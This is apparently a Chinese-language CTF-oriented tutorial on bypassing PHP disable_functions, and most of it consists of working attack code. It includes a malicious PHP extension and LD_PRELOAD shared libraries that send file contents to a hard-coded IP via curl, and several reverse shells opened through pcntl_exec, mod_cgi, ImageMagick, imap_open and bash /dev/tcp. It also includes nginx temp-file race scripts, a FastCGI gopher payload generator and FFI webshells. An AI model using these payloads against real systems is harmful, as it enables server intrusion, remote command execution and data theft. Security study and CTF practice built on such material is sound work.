常规函数函数绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php echo  exec ('whoami' );echo  shell_exec ('whoami' );system ('whoami' );passthru ("whoami" );$file  = popen ("whoami" ,"r" );pclose ($file );$command ="whoami" ; $descriptorspec  = array (1  => array ("pipe" , "w" )); $handle  = proc_open ($command  ,$descriptorspec  , $pipes ); while (!feof ($pipes [1 ])) { echo  fread ($pipes [1 ], 1024 );}
 
如果安装了 pcntl 插件,则可以利用pcntl_exec来绕过
1 2 3 4 5 6 <?php  pcntl_exec ("/bin/bash" , array ("/tmp/exp.sh" ));?>  ls -l /
 
或者与python结合来反弹shell
1 <?php  pcntl_exec ("/usr/bin/python3" ,array ('-c' ,'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' ));
 
使用ext_skel制作恶意php扩展 disable_fuctions禁用的是php的函数,使用php扩展调用c的函数即可绕过
这种利用方式的条件较为苛刻
1:知道扩展目录并且目录可写(覆盖到已经引用的扩展,比如mysqli.so) 2:能够载入php扩展(重启或者使用php命令行执行) 3:能够调用自定义函数
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );$action  = $_GET ['a' ];switch  ($action ) {     case  'phpinfo' :         phpinfo ();         break ;     case  'write' :         file_put_contents ($_POST ['file' ],$_POST ['content' ]);         break ;     case  'run' :         shell_exec ("php -r 'ctfshow();'" );         break ;     default :         highlight_file (__FILE__ );         break ; }
 
 
ext_skel是php源码包里自带的一个开发生成工具
 
首先在PHP源码下的ext目录下执行
php ext_skel.php --ext backdoor --std
运行后会生成一个backdoor目录,然后修改生成的c文件的代码
在头部添加 stdlib.h ,例子中的23行 
修改函数名,几处函数名要一致,例如37行和98行的函数名对应,这里用的是ctfshow 
在自定义函数中添加system执行命令即可,例如40行 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 #ifdef  HAVE_CONFIG_H # include  "config.h"  #endif  #include  "stdlib.h"  #include  "php.h"  #include  "ext/standard/info.h"  #include  "php_backdoor.h"  #ifndef  ZEND_PARSE_PARAMETERS_NONE #define  ZEND_PARSE_PARAMETERS_NONE() \         ZEND_PARSE_PARAMETERS_START(0, 0) \         ZEND_PARSE_PARAMETERS_END() #endif   PHP_FUNCTION(ctfshow) {         ZEND_PARSE_PARAMETERS_NONE();         system("curl http://47.99.77.52:6666/?s=`cat /*`" ); } PHP_FUNCTION(backdoor_test2) {         char  *var = "World" ;         size_t  var_len = sizeof ("World" ) - 1 ;         zend_string *retval;         ZEND_PARSE_PARAMETERS_START(0 , 1 )                 Z_PARAM_OPTIONAL                 Z_PARAM_STRING (var, var_len)          ZEND_PARSE_PARAMETERS_END () ;         retval = strpprintf(0 , "Hello %s" , var);         RETURN_STR(retval); } PHP_RINIT_FUNCTION(backdoor) {#if  defined(ZTS) && defined(COMPILE_DL_BACKDOOR)          ZEND_TSRMLS_CACHE_UPDATE();#endif           return  SUCCESS; } PHP_MINFO_FUNCTION(backdoor) {         php_info_print_table_start();         php_info_print_table_header(2 , "backdoor support" , "enabled" );         php_info_print_table_end(); } ZEND_BEGIN_ARG_INFO(arginfo_backdoor_test1, 0 ) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_backdoor_test2, 0 )         ZEND_ARG_INFO(0 , str) ZEND_END_ARG_INFO()static  const  zend_function_entry backdoor_functions[] = {         PHP_FE(ctfshow,         arginfo_backdoor_test1)         PHP_FE(backdoor_test2,          arginfo_backdoor_test2)         PHP_FE_END }; zend_module_entry backdoor_module_entry = {         STANDARD_MODULE_HEADER,         "backdoor" ,                                              backdoor_functions,                              NULL ,                                                            NULL ,                                                            PHP_RINIT(backdoor),                             NULL ,                                                            PHP_MINFO(backdoor),                             PHP_BACKDOOR_VERSION,                    STANDARD_MODULE_PROPERTIES };#ifdef  COMPILE_DL_BACKDOOR # ifdef  ZTS  ZEND_TSRMLS_CACHE_DEFINE()# endif   ZEND_GET_MODULE(backdoor)#endif  
 
然后编译
1 2 3 4 phpize ./configure make make install
 
就会在modules目录下生成.so文件,然后将生成的恶意文件上传或写入到目标的扩展目录,使用php -r调用,就能执行自定义的命令了
注意,如果制作so的环境的php版本于靶机的php版本不同,则可能会产生如下错误
1 2 3 4 5 6 7 8 9 10 11 12 Warning: PHP Startup: backdoor: Unable to initialize module Module compiled with module API=20190902 PHP    compiled with module API=20180731 These options need to match  in  Unknown on line 0 Deprecated: Directive 'track_errors'  is deprecated in  Unknown on line 0 Fatal error: Uncaught Error: Call to undefined function  ctfshow() in  Command line code:1 Stack trace:   thrown in  Command line code on line 1
 
这时候需要修改/usr/include/php/20190902/Zend/zend_modules.h(具体路径可能不一致)文件中的ZEND_MODULE_API_NO的值为上面报错中的值20180731
然后编译
1 2 3 4 make clean phpize ./configure make && make install
 
利用 LD_PRELOAD 环境变量 
LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
 
总的来说就是通过LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果
需要的条件如下
创建的恶意so文件可以上传到目标主机 
能够控制 LD_PRELOAD 环境变量的值,比如 putenv() 函数 
需要通过某个可以创建新进程的函数来加载 LD_PRELOAD 中的 .so 文件,比如 mail()、imap_mail()、mb_send_mail() 和 error_log() 函数等 
 
劫持系统函数 在php中启动新进程时会自动调用许多的函数和api等等,其中 getuid 函数来确认进程属主(执行权限)
通过man 2 getuid查看函数原型
可以发现没有参数并且很常用,符合劫持函数的要求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 GETUID(2)                                                        Linux Programmer's Manual                                                        GETUID(2) NAME        getuid, geteuid - get user identity SYNOPSIS        #include <unistd.h>        #include <sys/types.h>        uid_t getuid(void);        uid_t geteuid(void); DESCRIPTION        getuid() returns the real user ID of the calling process.        geteuid() returns the effective user ID of the calling process. ERRORS        These functions are always successful.
 
劫持getuid
1 2 3 4 5 6 7 8 9 10 11 12 #include  <stdlib.h>  #include  <stdio.h>  #include  <string.h>  void  payload () {         system("curl http://url:port?s=`cat /*`" ); }int  getuid ()  {         if (getenv("LD_PRELOAD" )==NULL ){ return  0 ;}         unsetenv("LD_PRELOAD" );         payload(); }
 
生成动态链接库
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
将 hack.so 上传并通过环境变量 LD_PRELOAD 指定后,只要新建进程,就会执行我们的恶意代码
php中部分可以新建进程的函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 system shell_exec exec passthru proc_open popen pcntl mail imap_mail mb_send_mail error_log libvirt_connect gnupg_init imagick
 
还可以通过strace -f php 1.php 2>&1 | grep execve命令来查看是否创建了新的进程
劫持启动进程 但是某些函数并不会调用getuid或者被禁用,这时候就需要更加通用的方式,不局限于劫持某一函数
在 GCC 中有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #define  _GNU_SOURCE #include  <stdlib.h>  #include  <string.h>  extern  char ** environ; __attribute__ ((__constructor__)) void  preload  (void )  {     int  i;     for  (i = 0 ; environ[i]; ++i) {             if  (strstr (environ[i], "LD_PRELOAD" )) {                     environ[i][0 ] = '\0' ;             }     }     system("curl http://url:port?s=`cat /*`" ); }
 
编译
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
无上传点时的利用姿势 当没有表面上的上传点时可以考虑利用临时文件
一:php的临时文件 
php的临时文件一般在/tmp目录下,如果可以列目录看到文件名的话可以考虑利用,否则很难爆破文件名
二:nginx的body缓存机制 
如果传输的数据大于16k,则nginx会缓存。虽然说nginx会保存文件,但是nginx会在转发给php-fpm后就删除掉了(在php解释执行之前)
这就不能直接利用了,需要用到linux的一个特性:/proc/PID/fd/{1}去读取(条件是php和nginx的执行用户名是相同的才可以访问)
一个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import  reimport  socketimport  threading ip = 'pwn.challenge.ctf.show'  port = 28268  s = socket.socket() s.connect((ip, port)) s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 	''' .encode()) data = s.recv(1024 ).decode() s.close() pid = re.findall('(.*?) www-data' , data)[0 ].strip()print ("pid:" , pid) payload = "curl http://47.99.77.52:8888?a=`cat /f*`;"  + '0'  * 1024  * 500  length = len (payload)def  upload ():     while  True :         s = socket.socket()         s.connect((ip, port))         x = f'''POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: {length}  Content-Type: application/x-www-form-urlencoded Connection: close {payload} ''' .encode()         s.send(x)         s.close()def  bruter ():     while  True :         for  fd in  range (3 , 40 ):             print ("fd:" , fd)             s = socket.socket()             s.connect((ip, port))             s.send(f'''GET /?file=/proc/{pid} /fd/{fd}  HTTP/1.1 Host: 127.0.0.1 Connection: close ''' .encode())             print (s.recv(2048 ).decode())             s.close()for  i in  range (30 ):     t = threading.Thread(target=upload)     t.start()for  j in  range (30 ):     a = threading.Thread(target=bruter)     a.start()
 
三:nginx的body缓存机制+恶意so文件 
与二类似,只不过将命令换成了so文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import  reimport  socketimport  threading ip = 'pwn.challenge.ctf.show'  port = 28128  s = socket.socket() s.connect((ip, port)) s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 	''' .encode()) data = s.recv(1024 ).decode() s.close() pid = re.findall('(.*?) www-data' , data)[0 ].strip()print ("pid:" , pid) length = str (len (open ('hack.so' , 'rb' ).read() + b'\n'  * 1024  * 200 )).encode()def  upload ():     while  True :         s = socket.socket()         s.connect((ip, port))         x = b'''POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: '''  + length + b''' Content-Type: application/x-www-form-urlencoded Connection: close '''  + open ('hack.so' , 'rb' ).read() + b'\n'  * 1024  * 200  + b''' '''          s.send(x)         s.close()def  bruter ():     while  True :         for  fd in  range (3 , 40 ):             print ("fd:" , fd)             s = socket.socket()             s.connect((ip, port))             s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid} /fd/{fd}  HTTP/1.1 Host: 127.0.0.1 Connection: close ''' .encode())             print (s.recv(2048 ).decode())             s.close()for  i in  range (30 ):     t = threading.Thread(target=upload)     t.start()for  j in  range (30 ):     a = threading.Thread(target=bruter)     a.start()
 
加载so绕过disable_functions 原理与 LD_PRELOAD 绕过的方式差不多,一个是通过 putenv 设置,另一个则是通过上传一个恶意so文件,然后通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展来绕过
制作恶意so文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #define  _GNU_SOURCE #include  <stdlib.h>  #include  <string.h>  extern  char ** environ; __attribute__ ((__constructor__)) void  preload  (void )  {     int  i;     for  (i = 0 ; environ[i]; ++i) {             if  (strstr (environ[i], "LD_PRELOAD" )) {                     environ[i][0 ] = '\0' ;             }     }     system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'" ); }
 
编译
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
以下是修改过的 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 ,可以生成payload,注意修改 PHP_VALUE 的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 import  socketimport  randomimport  argparseimport  sysfrom  io import  BytesIOfrom  urllib.parse import  quote PY2 = True  if  sys.version_info.major == 2  else  False def  bchr (i ):     if  PY2:         return  force_bytes(chr (i))     else :         return  bytes ([i])def  bord (c ):     if  isinstance (c, int ):         return  c     else :         return  ord (c)def  force_bytes (s ):     if  isinstance (s, bytes ):         return  s     else :         return  s.encode('utf-8' , 'strict' )def  force_text (s ):     if  issubclass (type (s), str ):         return  s     if  isinstance (s, bytes ):         s = str (s, 'utf-8' , 'strict' )     else :         s = str (s)     return  sclass  FastCGIClient :     """A Fast-CGI Client for Python"""           __FCGI_VERSION = 1      __FCGI_ROLE_RESPONDER = 1      __FCGI_ROLE_AUTHORIZER = 2      __FCGI_ROLE_FILTER = 3      __FCGI_TYPE_BEGIN = 1      __FCGI_TYPE_ABORT = 2      __FCGI_TYPE_END = 3      __FCGI_TYPE_PARAMS = 4      __FCGI_TYPE_STDIN = 5      __FCGI_TYPE_STDOUT = 6      __FCGI_TYPE_STDERR = 7      __FCGI_TYPE_DATA = 8      __FCGI_TYPE_GETVALUES = 9      __FCGI_TYPE_GETVALUES_RESULT = 10      __FCGI_TYPE_UNKOWNTYPE = 11      __FCGI_HEADER_SIZE = 8           FCGI_STATE_SEND = 1      FCGI_STATE_ERROR = 2      FCGI_STATE_SUCCESS = 3      def  __init__ (self, host, port, timeout, keepalive ):         self .host = host         self .port = port         self .timeout = timeout         if  keepalive:             self .keepalive = 1          else :             self .keepalive = 0          self .sock = None          self .requests = dict ()     def  __connect (self ):         self .sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         self .sock.settimeout(self .timeout)         self .sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )                                                                                                                     return  True      def  __encodeFastCGIRecord (self, fcgi_type, content, requestid ):         length = len (content)         buf = bchr(FastCGIClient.__FCGI_VERSION) \               + bchr(fcgi_type) \               + bchr((requestid >> 8 ) & 0xFF ) \               + bchr(requestid & 0xFF ) \               + bchr((length >> 8 ) & 0xFF ) \               + bchr(length & 0xFF ) \               + bchr(0 ) \               + bchr(0 ) \               + content         return  buf     def  __encodeNameValueParams (self, name, value ):         nLen = len (name)         vLen = len (value)         record = b''          if  nLen < 128 :             record += bchr(nLen)         else :             record += bchr((nLen >> 24 ) | 0x80 ) \                       + bchr((nLen >> 16 ) & 0xFF ) \                       + bchr((nLen >> 8 ) & 0xFF ) \                       + bchr(nLen & 0xFF )         if  vLen < 128 :             record += bchr(vLen)         else :             record += bchr((vLen >> 24 ) | 0x80 ) \                       + bchr((vLen >> 16 ) & 0xFF ) \                       + bchr((vLen >> 8 ) & 0xFF ) \                       + bchr(vLen & 0xFF )         return  record + name + value     def  __decodeFastCGIHeader (self, stream ):         header = dict ()         header['version' ] = bord(stream[0 ])         header['type' ] = bord(stream[1 ])         header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ])         header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ])         header['paddingLength' ] = bord(stream[6 ])         header['reserved' ] = bord(stream[7 ])         return  header     def  __decodeFastCGIRecord (self, buffer ):         header = buffer.read(int (self .__FCGI_HEADER_SIZE))         if  not  header:             return  False          else :             record = self .__decodeFastCGIHeader(header)             record['content' ] = b''              if  'contentLength'  in  record.keys():                 contentLength = int (record['contentLength' ])                 record['content' ] += buffer.read(contentLength)             if  'paddingLength'  in  record.keys():                 skiped = buffer.read(int (record['paddingLength' ]))             return  record     def  request (self, nameValuePairs={}, post=''  ):         if  not  self .__connect():             print ('connect failure! please check your fasctcgi-server !!' )             return          requestId = random.randint(1 , (1  << 16 ) - 1 )         self .requests[requestId] = dict ()         request = b""          beginFCGIRecordContent = bchr(0 ) \                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \                                  + bchr(self .keepalive) \                                  + bchr(0 ) * 5          request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                               beginFCGIRecordContent, requestId)         paramsRecord = b''          if  nameValuePairs:             for  (name, value) in  nameValuePairs.items():                 name = force_bytes(name)                 value = force_bytes(value)                 paramsRecord += self .__encodeNameValueParams(name, value)         if  paramsRecord:             request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)         request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId)         if  post:             request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)         request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId)                                                      return  request     def  __waitForResponse (self, requestId ):         data = b''          while  True :             buf = self .sock.recv(512 )             if  not  len (buf):                 break              data += buf         data = BytesIO(data)         while  True :             response = self .__decodeFastCGIRecord(data)             if  not  response:                 break              if  response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \                     or  response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR:                 if  response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR:                     self .requests['state' ] = FastCGIClient.FCGI_STATE_ERROR                 if  requestId == int (response['requestId' ]):                     self .requests[requestId]['response' ] += response['content' ]             if  response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS:                 self .requests[requestId]         return  self .requests[requestId]['response' ]     def  __repr__ (self ):         return  "fastcgi connect host:{} port:{}" .format (self .host, self .port)if  __name__ == '__main__' :     parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' )     parser.add_argument('host' , help ='Target host, such as 127.0.0.1' )     parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' )     parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' )     parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int )     args = parser.parse_args()     client = FastCGIClient(args.host, args.port, 3 , 0 )     params = dict ()     documentRoot = "/"      uri = args.file     content = args.code     params = {         'GATEWAY_INTERFACE' : 'FastCGI/1.0' ,         'REQUEST_METHOD' : 'POST' ,         'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ),         'SCRIPT_NAME' : uri,         'QUERY_STRING' : '' ,         'REQUEST_URI' : uri,         'DOCUMENT_ROOT' : documentRoot,         'SERVER_SOFTWARE' : 'php/fcgiclient' ,         'REMOTE_ADDR' : '127.0.0.1' ,         'REMOTE_PORT' : '9985' ,         'SERVER_ADDR' : '127.0.0.1' ,         'SERVER_PORT' : '80' ,         'SERVER_NAME' : "localhost" ,         'SERVER_PROTOCOL' : 'HTTP/1.1' ,         'CONTENT_TYPE' : 'application/text' ,         'CONTENT_LENGTH' : "%d"  % len (content),         'PHP_VALUE' : 'unserialize_callback_func = system\nextension_dir = /tmp\nextension = hack.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ' ,         'PHP_ADMIN_VALUE' : 'allow_url_include = On'      }                    request_ssrf = quote(client.request(params, content))     print ("gopher://127.0.0.1:"  + str (args.port) + "/_"  + request_ssrf)
 
用法和原来一样
python fpm.py 127.0.0.1 -p 9001 /var/www/html/add_api.php -c "<?php phpinfo(); ?>"
Apache_mod_cgi 利用条件 
Linux 操作系统 
Apache + PHP (apache 使用 apache_mod_php) 
Apache 开启了 cgi, rewrite 
httpd.conf 中给了Web目录 AllowOverride 权限(允许.htaccess文件) 
当前目录可写 
 
原理 
Apache 在配置开启 CGI 后可以用 ScriptAlias 指令指定一个目录,指定的目录下面便可以存放可执行的 CGI 程序。若是想临时允许一个目录可以执行 CGI 程序并且使得服务器将自定义的后缀解析为 CGI 程序执行,则可以在目的目录下使用 htaccess 文件进行配置,如下:
1 2 Options +ExecCGIAddHandler  cgi-script  .xxx
 
这样便会将当前目录下的所有的 .xxx 文件当做 CGI 程序执行了。由于 CGI 程序可以执行命令,那我们可以利用 CGI 来执行系统命令绕过 disable_functions
利用 
1:在web目录新建一个 .htaccess 文件
1 2 Options +ExecCGIAddHandler  cgi-script  .xxx
 
2:然后新建一个后缀为 .xxx 的文件,内容是要执行的命令,然后赋予777权限
注意:linux中cgi比较严格,如果上传后发现状态码500,无法解析文件。可能是因为本地编辑器编写上传时编码不一致导致无法解析
1 2 #!/bin/sh echo &&cd  "/var/www/html" ;ls  -al
 
3:最后网页访问即可
如果命令执行失败,页面也会报 500 错误(因为访问的是 CGI)
综合利用脚本 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $cmd  = "nc -c '/bin/bash' 172.16.15.1 4444" ; $shellfile  = "#!/bin/bash\n" ; $shellfile  .= "echo -ne \"Content-Type: text/html\\n\\n\"\n" ; $shellfile  .= "$cmd " ; function  checkEnabled ($text , $condition , $yes , $no  ) //this  surely  can  be  shorter  { 	echo  "$text : "  . ($condition  ? $yes  : $no ) . "<br>\n" ; }if  (!isset ($_GET ['checked' ])) { 	@file_put_contents ('.htaccess' , "\nSetEnv HTACCESS on" , FILE_APPEND);  	header ('Location: '  . $_SERVER ['PHP_SELF' ] . '?checked=true' );  } else  { 	$modcgi  = in_array ('mod_cgi' , apache_get_modules ());  	$writable  = is_writable ('.' );  	$htaccess  = !empty ($_SERVER ['HTACCESS' ]);  	checkEnabled ("Mod-Cgi enabled" , $modcgi , "Yes" , "No" ); 	checkEnabled ("Is writable" , $writable , "Yes" , "No" ); 	checkEnabled ("htaccess working" , $htaccess , "Yes" , "No" ); 	if  (!($modcgi  && $writable  && $htaccess )) { 		echo  "Error. All of the above must be true for the script to work!" ;  	} else  { 		checkEnabled ("Backing up .htaccess" , copy (".htaccess" , ".htaccess.bak" ), "Suceeded! Saved in .htaccess.bak" , "Failed!" );  		checkEnabled ("Write .htaccess file" , file_put_contents ('.htaccess' , "Options +ExecCGI\nAddHandler cgi-script .dizzle" ), "Succeeded!" , "Failed!" );  		checkEnabled ("Write shell file" , file_put_contents ('shell.dizzle' , $shellfile ), "Succeeded!" , "Failed!" );  		checkEnabled ("Chmod 777" , chmod ("shell.dizzle" , 0777 ), "Succeeded!" , "Failed!" );  		echo  "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>" ;  	} }?> 
 
php74_FFI 利用条件 
Linux 操作系统 
PHP >= 7.4 
开启了 FFI 扩展且 ffi.enable=true 
 
原理 
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术
通过c语言的system去执行命令,绕过php的disable_functions
利用 
C库的system函数执行是没有回显的,所以需要将执行结果写入到tmp等有权限的目录中
1 2 3 4 5 6 7 <?php $cmd =$_GET ['cmd' ];$ffi  = FFI::cdef ("int system(const char *command);" );$ffi ->system ("$cmd  > /tmp/SD" );echo  file_get_contents ("/tmp/SD" ); @unlink ("/tmp/SD" );?> 
 
或者调用popen和fgetc
1 2 3 4 5 6 7 <?php $cmd =$_GET ['cmd' ];$ffi  = FFI::cdef ("void *popen(char*,char*);void pclose(void*);int fgetc(void*);" ,"libc.so.6" );$o  = $ffi ->popen ("$cmd " ,"r" );$d  = "" ;while (($c  = $ffi ->fgetc ($o )) != -1 ){$d  .= str_pad (strval (dechex ($c )),2 ,"0" ,0 );}$ffi ->pclose ($o );echo  hex2bin ($d );
 
又或者调用PHP源码中的函数
1 2 3 4 <?php $cmd =$_GET ['cmd' ];$ffi  = FFI::cdef ("int php_exec(int type, char *cmd);" );$ffi ->php_exec (3 ,"$cmd " );   
 
ImageMagick(CVE-2016–3714) 利用条件 
漏洞影响ImageMagick 6.9.3-9以前的所有版本 
安装了 php-imagick 拓展并在 php.ini 中启用 
编写 php 通过 new Imagick 对象的方式来处理图片等格式文件 
PHP >= 5.4 
 
原理 
https://imagetragick.com/ https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html 
简单来说就是ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的
同时它内部定义了很多占位符,而在其中command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令
利用 
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php echo  "Disable Functions: "  . ini_get ('disable_functions' ) . "\n" ;function  AAAA ( ) {$exploit  = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ3Ljk5Ljc3LjUyLzg4ODggMD4mMQ== | base64 -d | bash`"||id " )' pop graphic-context EOF ;file_put_contents ("KKKK.mvg" , $exploit );$thumb  = new  Imagick ();$thumb ->readImage ('KKKK.mvg' );$thumb ->writeImage ('KKKK.png' );$thumb ->clear ();$thumb ->destroy ();unlink ("KKKK.mvg" );unlink ("KKKK.png" ); }AAAA ();?> 
 
执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php echo  "Disable functions: "  . ini_get ("disable_functions" ) . "\n" ;$command  = isset ($_GET ['cmd' ]) ? $_GET ['cmd' ] : 'id' ;echo  "Run command: $command \n====================\n" ;$data_file  = tempnam ('/tmp' , 'img' );$imagick_file  = tempnam ('/tmp' , 'img' );$exploit  = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/image.jpg"|$command >$data_file ")' pop graphic-context EOF ;file_put_contents ("$imagick_file " , $exploit );$thumb  = new  Imagick ();$thumb ->readImage ("$imagick_file " );$thumb ->writeImage (tempnam ('/tmp' , 'img' ));$thumb ->clear ();$thumb ->destroy ();echo  file_get_contents ($data_file );?> 
 
Bash Shellshock(CVE-2014-6271) 利用条件 
目标环境存在Bash破壳(CVE-2014-6271)漏洞 
putenv()、mail() 或 error_log() 函数可用 
 
利用 
需要利用 PHP 中可以调用 popen 或其他能够派生 bash 子进程的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function  runcmd ($c  ) {   $d  = dirname ($_SERVER ["SCRIPT_FILENAME" ]);   if (substr ($d , 0 , 1 ) == "/"  && function_exists ('putenv' ) && (function_exists ('error_log' ) || function_exists ('mail' ))){     if (strstr (readlink ("/bin/sh" ), "bash" )!=FALSE ){       $tmp =tempnam (sys_get_temp_dir (), 'as' );       putenv ("PHP_LOL=() { x; }; $c  >$tmp  2>&1" );       if  (function_exists ('error_log' )) {         error_log ("a" , 1 );       }else {         mail ("a@127.0.0.1" , "" , "" , "-bv" );       }     }else {       print ("Not vuln (not bash)\n" );     }     $output  = @file_get_contents ($tmp );     @unlink ($tmp );     if ($output !="" ){       print ($output );     }else {       print ("No output, or not vuln." );     }   }else {     print ("不满足使用条件" );   } }runcmd ($_REQUEST ["cmd" ]); ?> 
 
imap_open()绕过 (CVE-2018-19518) 利用条件 
原理 
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)
ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。 即使是ssh连接失败了,但是命令还是能执行。
利用 
1 2 3 4 5 <?php $payload  = "/bin/bash -i >& /dev/tcp/47.99.77.52/8888 0>&1" ;$base64  = base64_encode ($payload );$server  = "any -oProxyCommand=echo\t{$base64} |base64\t-d|bash" ; @imap_open ("{" .$server ."}:143/imap}INBOX" ,"" ,"" ) or  die ("\n\nError: " .imap_last_error ());;
 
Windows组件COM绕过 利用条件 
com.allow_dcom = true 
extension=php_com_dotnet.dll 
php>5.4 
目标服务器为Windows系统 
 
利用 
